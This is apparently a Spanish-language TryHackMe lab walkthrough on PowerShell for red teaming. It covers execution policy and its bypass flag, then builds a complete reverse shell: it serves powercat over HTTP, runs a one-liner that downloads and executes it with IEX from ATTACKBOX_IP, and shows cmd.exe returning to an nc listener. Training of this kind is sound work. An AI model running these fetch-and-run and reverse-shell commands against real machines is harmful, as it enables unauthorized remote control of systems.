PowerShell es un lenguaje de programación orientado a objetos ejecutado desde el Dynamic Language Runtime (DLR) en .NET con algunas excepciones por usos de legado.
Los red teamers confían en PowerShell para realizar varias actividades, incluyendo acceso inicial, enumeración de sistemas y muchas otras. Comenzaremos creando un script de PowerShell que imprima Welcome to Weaponization Room! de la siguiente manera:
Write-Output "Welcome to the Weaponization Room!"
Guarda el archivo como thm.ps1. Con Write-Output, imprimimos el mensaje en la línea de comandos.
Política de Ejecución
La política de ejecución de PowerShell es una opción de seguridad para proteger el sistema ante scripts maliciosos. Por defecto, Microsoft inhabilita ejecutar scripts de PowerShell. Esta política de ejecución está configurada como Restricted, lo que significa permitir comandos individuales pero no ejecutar scripts. Puedes consultar la configuración de PowerShell en Windows de la siguiente manera:
Get-ExecutionPolicy
También puedes cambiarla así:
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
Bypasseo de Política de Ejecución
Microsoft ofrece formas de deshabilitar esta restricción. Una de estas formas es darle un argumento al comando PowerShell para cambiar el ajuste deseado. Por ejemplo, podemos cambiarlo a bypass lo que significa que nada es bloqueado o restringido. Esto es útil ya que nos permite ejecutar nuestros scripts de PowerShell.
Para asegurarnos de que el archivo PS se ejecuta, necesitamos darle la opción bypass en el argumento de la siguiente forma:
powershell -ex bypass -File thm.ps1
Ahora vamos a intentar obtener una reverse shell usando una de las herramientas escritas en PowerShell, la cual es powercat. En tu máquina, descárgala de GitHub y ejecuta un servidor web para entregar el payload.
user@machine$ git clone https://github.com/besimorhino/powercat.git Cloning into 'powercat'... remote: Enumerating objects: 239, done. remote: Counting objects: 100% (4/4), done. remote: Compressing objects: 100% (4/4), done. remote: Total 239 (delta 0), reused 2 (delta 0), pack-reused 235 Receiving objects: 100% (239/239), 61.75 KiB | 424.00 KiB/s, done. Resolving deltas: 100% (72/72), done.
Ahora necesitamos configurar el servidor web para servir powercat.ps1, que será descargado y ejecutado en la máquina Windows. Después cambia el directorio a powercat y comienza la escucha en el puerto que elijas. En nuestro caso, estaremos usando el puerto 8080.
user@machine$ cd powercat user@machine$ python3 -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
En la máquina atacante tenemos que escuchar en el puerto 1337 usando nc para recibir la conexión de la víctima.
user@machine$ nc -lvp 1337
Ahora, desde la máquina víctima, descargamos el payload y lo ejecutamos usando PowerShell:
C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"
Ahora que hemos ejecutado el comando de arriba, la máquina víctima descarga el payload powercat.ps1 del servidor web y lo ejecuta localmente usando cmd.exe y manda la conexión de vuelta a la máquina atacante que está escuchando.
user@machine$ nc -lvp 1337 listening on [any] 1337 ... 10.10.12.53: inverse host lookup failed: Unknown host connect to [10.8.232.37] from (UNKNOWN) [10.10.12.53] 49804 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Users\thm>
